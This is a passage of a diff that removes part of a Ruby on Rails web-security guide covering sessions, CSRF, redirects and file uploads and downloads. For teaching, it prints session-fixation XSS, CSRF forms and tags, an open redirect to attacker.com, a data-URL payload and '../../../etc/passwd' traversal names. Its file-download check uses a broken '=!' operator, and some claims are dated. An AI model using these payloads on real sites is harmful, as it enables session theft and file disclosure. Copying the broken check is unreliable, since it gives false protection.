374
- <div class="para"><p>A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.</p></div>
375
- <h3 id="_what_are_sessions">2.1. What are sessions?</h3>
376
- <div class="para"><p>&#8212; <em>HTTP is a stateless protocol Sessions make it stateful.</em></p></div>
377
- <div class="para"><p>Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request.
378
- Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application.</p></div>
379
- <div class="para"><p>A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:</p></div>
380
- <div class="listingblock">
381
- <div class="content"><!-- Generator: GNU source-highlight 2.9
382
- by Lorenzo Bettini
383
- http://www.lorenzobettini.it
384
- http://www.gnu.org/software/src-highlite -->
385
- <pre><tt>session<span style="color: #990000">[:</span>user_id<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #009900">@current_user</span><span style="color: #990000">.</span>id
386
- User<span style="color: #990000">.</span>find<span style="color: #990000">(</span>session<span style="color: #990000">[:</span>user_id<span style="color: #990000">])</span>
387
- </tt></pre></div></div>
388
- <h3 id="_session_id">2.2. Session id</h3>
389
- <div class="para"><p>&#8212; <em>The session id is a 32 byte long MD5 hash value.</em></p></div>
390
- <div class="para"><p>A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date.</p></div>
391
- <h3 id="_session_hijacking">2.3. Session hijacking</h3>
392
- <div class="para"><p>&#8212; <em>Stealing a user's session id lets an attacker use the web application in the victim's name.</em></p></div>
393
- <div class="para"><p>Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session.</p></div>
394
- <div class="para"><p>Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:</p></div>
395
- <div class="ilist"><ul>
396
- <li>
397
- <p>
398
- Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to <span style="background-color: #fffcdb;">provide a secure connection over SSL</span>.
399
- </p>
400
- </li>
401
- <li>
402
- <p>
403
- Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a <span style="background-color: #fffcdb;">log-out button</span> in the web application, and <span style="background-color: #fffcdb;">make it prominent</span>.
404
- </p>
405
- </li>
406
- <li>
407
- <p>
408
- Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read more about XSS later.
409
- </p>
410
- </li>
411
- <li>
412
- <p>
413
- Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later.
414
- </p>
415
- </li>
416
- </ul></div>
417
- <div class="para"><p>The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the <a href="http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf">Symantec Global Internet Security Threat Report</a>.</p></div>
418
- <h3 id="_session_guidelines">2.4. Session guidelines</h3>
419
- <div class="para"><p>&#8212; <em>Here are some general guidelines on sessions.</em></p></div>
420
- <div class="ilist"><ul>
421
- <li>
422
- <p>
423
- <span style="background-color: #fffcdb;">Do not store large objects in a session</span>. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
424
- This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.
425
- </p>
426
- </li>
427
- <li>
428
- <p>
429
- <span style="background-color: #fffcdb;">Critical data should not be stored in session</span>. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
430
- </p>
431
- </li>
432
- </ul></div>
433
- <h3 id="_session_storage">2.5. Session storage</h3>
434
- <div class="para"><p>&#8212; <em>Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecordStore and CookieStore.</em></p></div>
435
- <div class="para"><p>There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecordStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecordStore keeps the session id and hash in a database table and saves and retrieves the hash on every request.</p></div>
436
- <div class="para"><p>Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:</p></div>
437
- <div class="ilist"><ul>
438
- <li>
439
- <p>
440
- Cookies imply a strict size limit of 4K. This is fine as you should not store large amounts of data in a session anyway, as described before. <span style="background-color: #fffcdb;">Storing the current user's database id in a session is usually ok</span>.
441
- </p>
442
- </li>
443
- <li>
444
- <p>
445
- The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, <span style="background-color: #fffcdb;">you don't want to store any secrets here</span>. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.
446
- </p>
447
- </li>
448
- </ul></div>
449
- <div class="para"><p>That means the security of this storage depends on this secret (and of the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So <span style="background-color: #fffcdb;">don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters</span>. Put the secret in your environment.rb:</p></div>
450
- <div class="literalblock">
451
- <div class="content">
452
- <pre><tt>config.action_controller.session = {
453
- :session_key =&gt; ‘_app_session’,
454
- :secret =&gt; ‘0x0dkfj3927dkc7djdh36rkckdfzsg...’
455
- }</tt></pre>
456
- </div></div>
457
- <div class="para"><p>There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it.</p></div>
458
- <h3 id="_replay_attacks_for_cookiestore_sessions">2.6. Replay attacks for CookieStore sessions</h3>
459
- <div class="para"><p>&#8212; <em>Another sort of attack you have to be aware of when using CookieStore is the replay attack.</em></p></div>
460
- <div class="para"><p>It works like this:</p></div>
461
- <div class="ilist"><ul>
462
- <li>
463
- <p>
464
- A user receives credits, the amount is stored in a session (which is bad idea, anyway, but we'll do this for demonstration purposes).
465
- </p>
466
- </li>
467
- <li>
468
- <p>
469
- The user buys something.
470
- </p>
471
- </li>
472
- <li>
473
- <p>
474
- His new, lower credit will be stored in the session.
475
- </p>
476
- </li>
477
- <li>
478
- <p>
479
- The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser.
480
- </p>
481
- </li>
482
- <li>
483
- <p>
484
- The user has his credit back.
485
- </p>
486
- </li>
487
- </ul></div>
488
- <div class="para"><p>Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).</p></div>
489
- <div class="para"><p>The best <span style="background-color: #fffcdb;">solution against it is not to store this kind of data in a session, but in the database</span>. In this case store the credit in the database and the logged_in_user_id in the session.</p></div>
490
- <h3 id="_session_fixation">2.7. Session fixation</h3>
491
- <div class="para"><p>&#8212; <em>Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation.</em></p></div>
492
- <div class="imageblock">
493
- <div class="content">
494
- <img src="images/session_fixation.png" alt="Session fixation" title="Session fixation"/>
495
- </div>
496
- </div>
497
- <div class="para"><p>This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:</p></div>
498
- <div class="olist"><ol>
499
- <li>
500
- <p>
501
- The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
502
- </p>
503
- </li>
504
- <li>
505
- <p>
506
- He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
507
- </p>
508
- </li>
509
- <li>
510
- <p>
511
- Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: <tt>&lt;script&gt;
document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";
&lt;/script&gt;</tt>
512
- Read more about XSS and injection later on.
513
- </p>
514
- </li>
515
- <li>
516
- <p>
517
- The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
518
- </p>
519
- </li>
520
- <li>
521
- <p>
522
- As the new trap session is unused, the web application will require the user to authenticate.
523
- </p>
524
- </li>
525
- <li>
526
- <p>
527
- From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
528
- </p>
529
- </li>
530
- </ol></div>
531
- <h3 id="_session_fixation_countermeasures">2.8. Session fixation – Countermeasures</h3>
532
- <div class="para"><p>&#8212; <em>One line of code will protect you from session fixation.</em></p></div>
533
- <div class="para"><p>The most effective countermeasure is to <span style="background-color: #fffcdb;">issue a new session identifier</span> and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:</p></div>
534
- <div class="listingblock">
535
- <div class="content"><!-- Generator: GNU source-highlight 2.9
536
- by Lorenzo Bettini
537
- http://www.lorenzobettini.it
538
- http://www.gnu.org/software/src-highlite -->
539
- <pre><tt>reset_session
540
- </tt></pre></div></div>
541
- <div class="para"><p>If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, <span style="background-color: #fffcdb;">you have to transfer them to the new session</span>.</p></div>
542
- <div class="para"><p>Another countermeasure is to <span style="background-color: #fffcdb;">save user-specific properties in the session</span>, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. <span style="background-color: #fffcdb;">These might change over the course of a session</span>, so these users will not be able to use your application, or only in a limited way.</p></div>
543
- <h3 id="_session_expiry">2.9. Session expiry</h3>
544
- <div class="para"><p>&#8212; <em>Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation.</em></p></div>
545
- <div class="para"><p>One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to <span style="background-color: #fffcdb;">expire sessions in a database table</span>. Call Session.sweep("20m") to expire sessions that were used longer than 20 minutes ago.</p></div>
546
- <div class="listingblock">
547
- <div class="content"><!-- Generator: GNU source-highlight 2.9
548
- by Lorenzo Bettini
549
- http://www.lorenzobettini.it
550
- http://www.gnu.org/software/src-highlite -->
551
- <pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Session <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
552
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>sweep<span style="color: #990000">(</span>time_ago <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">)</span>
553
- 
 time <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">case</span></span> time_ago
554
- 
 <span style="font-weight: bold"><span style="color: #0000FF">when</span></span> <span style="color: #FF6600">/^(\d+)m$/</span> <span style="font-weight: bold"><span style="color: #0000FF">then</span></span> Time<span style="color: #990000">.</span>now <span style="color: #990000">-</span> <span style="color: #009900">$1</span><span style="color: #990000">.</span>to_i<span style="color: #990000">.</span>minute
555
- 
 <span style="font-weight: bold"><span style="color: #0000FF">when</span></span> <span style="color: #FF6600">/^(\d+)h$/</span> <span style="font-weight: bold"><span style="color: #0000FF">then</span></span> Time<span style="color: #990000">.</span>now <span style="color: #990000">-</span> <span style="color: #009900">$1</span><span style="color: #990000">.</span>to_i<span style="color: #990000">.</span>hour
556
- 
 <span style="font-weight: bold"><span style="color: #0000FF">when</span></span> <span style="color: #FF6600">/^(\d+)d$/</span> <span style="font-weight: bold"><span style="color: #0000FF">then</span></span> Time<span style="color: #990000">.</span>now <span style="color: #990000">-</span> <span style="color: #009900">$1</span><span style="color: #990000">.</span>to_i<span style="color: #990000">.</span>day
557
- 
 <span style="font-weight: bold"><span style="color: #0000FF">else</span></span> Time<span style="color: #990000">.</span>now <span style="color: #990000">-</span> <span style="color: #993399">1</span><span style="color: #990000">.</span>hour
558
- 
 <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
559
- 
 <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>delete_all <span style="color: #FF0000">"updated_at &lt; '#{time.to_s(:db)}'"</span>
560
- 
 <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
561
- 
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
562
- </tt></pre></div></div>
563
- <div class="para"><p>The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:</p></div>
564
- <div class="listingblock">
565
- <div class="content"><!-- Generator: GNU source-highlight 2.9
566
- by Lorenzo Bettini
567
- http://www.lorenzobettini.it
568
- http://www.gnu.org/software/src-highlite -->
569
- <pre><tt><span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>delete_all <span style="color: #FF0000">"updated_at &lt; '#{time.to_s(:db)}' OR created_at &lt; '#{2.days.ago.to_s(:db)}'"</span>
570
- </tt></pre></div></div>
571
- </div>
572
- <h2 id="_cross_site_reference_forgery_csrf">3. Cross-Site Reference Forgery (CSRF)</h2>
573
- <div class="sectionbody">
574
- <div class="para"><p>&#8212; <em>This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands.</em></p></div>
575
- <div class="imageblock">
576
- <div class="content">
577
- <img src="images/csrf.png" alt="CSRF" title="CSRF"/>
578
- </div>
579
- </div>
580
- <div class="para"><p>In the session chapter you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example:</p></div>
581
- <div class="ilist"><ul>
582
- <li>
583
- <p>
584
- Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file.
585
- </p>
586
- </li>
587
- <li>
588
- <p>
589
- <tt>&lt;img src="http://www.webapp.com/project/1/destroy"&gt;</tt>
590
- </p>
591
- </li>
592
- <li>
593
- <p>
594
- Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.
595
- </p>
596
- </li>
597
- <li>
598
- <p>
599
- By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.
600
- </p>
601
- </li>
602
- <li>
603
- <p>
604
- The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
605
- </p>
606
- </li>
607
- <li>
608
- <p>
609
- Bob doesn't notice the attack &#8212; but a few days later he finds out that project number one is gone.
610
- </p>
611
- </li>
612
- </ul></div>
613
- <div class="para"><p>It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email.</p></div>
614
- <div class="para"><p>CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) &#8212; less than 0.1% in 2006 &#8212; but it really is a <em>sleeping giant</em> [Grossman]. This is in stark contrast to the results in my (and others) security contract work – <span style="background-color: #fffcdb;">CSRF is an important security issue</span>.</p></div>
615
- <h3 id="_csrf_countermeasures">3.1. CSRF Countermeasures</h3>
616
- <div class="para"><p>&#8212; <em>First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF.</em></p></div>
617
- <div class="para"><p>The HTTP protocol basically provides two main types of requests - GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:</p></div>
618
- <div class="para"><p><strong>Use GET if:</strong></p></div>
619
- <div class="ilist"><ul>
620
- <li>
621
- <p>
622
- The interaction is more <span style="background-color: #fffcdb;">like a question</span> (i.e., it is a safe operation such as a query, read operation, or lookup).
623
- </p>
624
- </li>
625
- </ul></div>
626
- <div class="para"><p><strong>Use POST if:</strong></p></div>
627
- <div class="ilist"><ul>
628
- <li>
629
- <p>
630
- The interaction is more <span style="background-color: #fffcdb;">like an order</span>, or
631
- </p>
632
- </li>
633
- <li>
634
- <p>
635
- The interaction <span style="background-color: #fffcdb;">changes the state</span> of the resource in a way that the user would perceive (e.g., a subscription to a service), or
636
- </p>
637
- </li>
638
- <li>
639
- <p>
640
- The user is <span style="background-color: #fffcdb;">held accountable for the results</span> of the interaction.
641
- </p>
642
- </li>
643
- </ul></div>
644
- <div class="para"><p>If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today‘s web browsers, however do not support them - only GET and POST. Rails uses a hidden <tt>_method</tt> field to handle this barrier.</p></div>
645
- <div class="para"><p><span style="background-color: #fffcdb;">The verify method in a controller can make sure that specific actions may not be used over GET</span>. Here is an example to verify the use of the transfer action over POST. If the action comes in using any other verb, it redirects to the list action.</p></div>
646
- <div class="literalblock">
647
- <div class="content">
648
- <pre><tt>verify :method =&gt; :post, :only =&gt; [:transfer], :redirect_to =&gt; {:action =&gt; :list}</tt></pre>
649
- </div></div>
650
- <div class="para"><p>With this precaution, the attack from above will not work, because the browser sends a GET request for images, which will not be accepted by the web application.</p></div>
651
- <div class="para"><p>But this was only the first step, because <span style="background-color: #fffcdb;">POST requests can be send automatically, too</span>. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.</p></div>
652
- <div class="listingblock">
653
- <div class="content"><!-- Generator: GNU source-highlight 2.9
654
- by Lorenzo Bettini
655
- http://www.lorenzobettini.it
656
- http://www.gnu.org/software/src-highlite -->
657
- <pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;a</span></span> <span style="color: #009900">href</span><span style="color: #990000">=</span><span style="color: #FF0000">"http://www.harmless.com/"</span> <span style="color: #009900">onclick</span><span style="color: #990000">=</span><span style="color: #FF0000">"</span>
658
- <span style="color: #FF0000"> var f = document.createElement('form');</span>
659
- <span style="color: #FF0000"> f.style.display = 'none';</span>
660
- <span style="color: #FF0000"> this.parentNode.appendChild(f);</span>
661
- <span style="color: #FF0000"> f.method = 'POST';</span>
662
- <span style="color: #FF0000"> f.action = 'http://www.example.com/account/destroy';</span>
663
- <span style="color: #FF0000"> f.submit();</span>
664
- <span style="color: #FF0000"> return false;"</span><span style="font-weight: bold"><span style="color: #0000FF">&gt;</span></span>To the harmless survey<span style="font-weight: bold"><span style="color: #0000FF">&lt;/a&gt;</span></span>
665
- </tt></pre></div></div>
666
- <div class="para"><p>Or the attacker places the code into the onmouseover event handler of an image:</p></div>
667
- <div class="para"><p><tt>&lt;img src="http://www.harmless.com/img" width="400" height="400" onmouseover="&#8230;" /&gt;</tt></p></div>
668
- <div class="para"><p>There are many other possibilities, including Ajax to attack the victim in the background.
The <span style="background-color: #fffcdb;">solution to this is including a security token in non-GET requests</span> which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:</p></div>
669
- <div class="para"><p><tt>protect_from_forgery :secret &#8658; "123456789012345678901234567890&#8230;"</tt></p></div>
670
- <div class="para"><p>This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. It will raise an ActionController::InvalidAuthenticityToken error, if the security token doesn't match what was expected.</p></div>
671
- <div class="para"><p>Note that <span style="background-color: #fffcdb;">cross-site scripting (XSS) vulnerabilities bypass all CSRF protections</span>. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read more about XSS later.</p></div>
672
- </div>
673
- <h2 id="_redirection_and_files">4. Redirection and Files</h2>
674
- <div class="sectionbody">
675
- <div class="para"><p>Another class of security vulnerabilities surrounds the use of redirection and files in web applications.</p></div>
676
- <h3 id="_redirection">4.1. Redirection</h3>
677
- <div class="para"><p>&#8212; <em>Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack.</em></p></div>
678
- <div class="para"><p>Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: <a href="http://www.example.com/site/redirect?to">http://www.example.com/site/redirect?to</a>= www.attacker.com. Here is an example of a legacy action:</p></div>
679
- <div class="listingblock">
680
- <div class="content"><!-- Generator: GNU source-highlight 2.9
681
- by Lorenzo Bettini
682
- http://www.lorenzobettini.it
683
- http://www.gnu.org/software/src-highlite -->
684
- <pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> legacy
685
- redirect_to<span style="color: #990000">(</span>params<span style="color: #990000">.</span>update<span style="color: #990000">(:</span>action<span style="color: #990000">=&gt;</span><span style="color: #FF0000">'main'</span><span style="color: #990000">))</span>
686
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
687
- </tt></pre></div></div>
688
- <div class="para"><p>This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL:</p></div>
689
- <div class="para"><p><tt>http://www.example.com/site/legacy?param1=xy&amp;param2=23&amp;host=www.attacker.com</tt></p></div>
690
- <div class="para"><p>If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to <span style="background-color: #fffcdb;">include only the expected parameters in a legacy action</span> (again a whitelist approach, as opposed to removing unexpected parameters). <span style="background-color: #fffcdb;">And if you redirect to an URL, check it with a whitelist or a regular expression</span>.</p></div>
691
- <h4 id="_self_contained_xss">4.1.1. Self-contained XSS</h4>
692
- <div class="para"><p>Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:</p></div>
693
- <div class="para"><p><tt>data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K</tt></p></div>
694
- <div class="para"><p>This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, <span style="background-color: #fffcdb;">do not allow the user to supply (parts of) the URL to be redirected to</span>.</p></div>
695
- <h3 id="_file_uploads">4.2. File uploads</h3>
696
- <div class="para"><p>&#8212; <em>Make sure file uploads don't overwrite important files, and process media files asynchronously.</em></p></div>
697
- <div class="para"><p>Many web applications allow users to upload files. <span style="background-color: #fffcdb;">File names, which the user may choose (partly), should always be filtered</span> as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.</p></div>
698
- <div class="para"><p>When filtering user input file names, <span style="background-color: #fffcdb;">don't try to remove malicious parts</span>. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “&#8230;.//” - the result will be “../”. It is best to use a whitelist approach, which <span style="background-color: #fffcdb;">checks for the validity of a file name with a set of accepted characters</span>. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the <a href="http://github.com/technoweenie/attachment_fu/tree/master">attachment_fu plugin</a>:</p></div>
699
- <div class="listingblock">
700
- <div class="content"><!-- Generator: GNU source-highlight 2.9
701
- by Lorenzo Bettini
702
- http://www.lorenzobettini.it
703
- http://www.gnu.org/software/src-highlite -->
704
- <pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> sanitize_filename<span style="color: #990000">(</span>filename<span style="color: #990000">)</span>
705
- returning filename<span style="color: #990000">.</span>strip <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>name<span style="color: #990000">|</span>
706
- <span style="font-style: italic"><span style="color: #9A1900"># NOTE: File.basename doesn't work right with Windows paths on Unix</span></span>
707
- <span style="font-style: italic"><span style="color: #9A1900"># get only the filename, not the whole path</span></span>
708
- name<span style="color: #990000">.</span>gsub! <span style="color: #FF6600">/^.*(\\|\/)/</span><span style="color: #990000">,</span> <span style="color: #FF0000">''</span>
709
- <span style="font-style: italic"><span style="color: #9A1900"># Finally, replace all non alphanumeric, underscore</span></span>
710
- <span style="font-style: italic"><span style="color: #9A1900"># or periods with underscore</span></span>
711
- name<span style="color: #990000">.</span>gsub! <span style="color: #FF6600">/[^\w\.\-]/</span><span style="color: #990000">,</span> <span style="color: #FF0000">'_'</span>
712
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
713
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
714
- </tt></pre></div></div>
715
- <div class="para"><p>A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its <span style="background-color: #fffcdb;">vulnerability to denial-of-service attacks</span>. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.</p></div>
716
- <div class="para"><p>The solution to this, is best to <span style="background-color: #fffcdb;">process media files asynchronously</span>: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.</p></div>
717
- <h3 id="_executable_code_in_file_uploads">4.3. Executable code in file uploads</h3>
718
- <div class="para"><p>&#8212; <em>Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails /public directory if it is Apache's home directory.</em></p></div>
719
- <div class="para"><p>The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads the file.</p></div>
720
- <div class="para"><p><span style="background-color: #fffcdb;">If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it</span>, store files at least one level downwards.</p></div>
721
- <h3 id="_file_downloads">4.4. File downloads</h3>
722
- <div class="para"><p>&#8212; <em>Make sure users cannot download arbitrary files.</em></p></div>
723
- <div class="para"><p>Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:</p></div>
724
- <div class="listingblock">
725
- <div class="content"><!-- Generator: GNU source-highlight 2.9
726
- by Lorenzo Bettini
727
- http://www.lorenzobettini.it
728
- http://www.gnu.org/software/src-highlite -->
729
- <pre><tt>send_file<span style="color: #990000">(</span><span style="color: #FF0000">'/var/www/uploads/'</span> <span style="color: #990000">+</span> params<span style="color: #990000">[:</span>filename<span style="color: #990000">])</span>
730
- </tt></pre></div></div>
731
- <div class="para"><p>Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to <span style="background-color: #fffcdb;">check that the requested file is in the expected directory</span>:</p></div>
732
- <div class="listingblock">
733
- <div class="content"><!-- Generator: GNU source-highlight 2.9
734
- by Lorenzo Bettini
735
- http://www.lorenzobettini.it
736
- http://www.gnu.org/software/src-highlite -->
737
- <pre><tt>basename <span style="color: #990000">=</span> File<span style="color: #990000">.</span>expand_path<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">),</span> <span style="color: #FF0000">'../../files'</span><span style="color: #990000">))</span>
738
- filename <span style="color: #990000">=</span> File<span style="color: #990000">.</span>expand_path<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>basename<span style="color: #990000">,</span> <span style="color: #009900">@file</span><span style="color: #990000">.</span>public_filename<span style="color: #990000">))</span>
739
- <span style="font-weight: bold"><span style="color: #0000FF">raise</span></span> <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> basename <span style="color: #990000">=!</span>
740
- File<span style="color: #990000">.</span>expand_path<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span>filename<span style="color: #990000">),</span> <span style="color: #FF0000">'../../../'</span><span style="color: #990000">))</span>
741
- send_file filename<span style="color: #990000">,</span> <span style="color: #990000">:</span>disposition <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'inline'</span>
742
- </tt></pre></div></div>
743
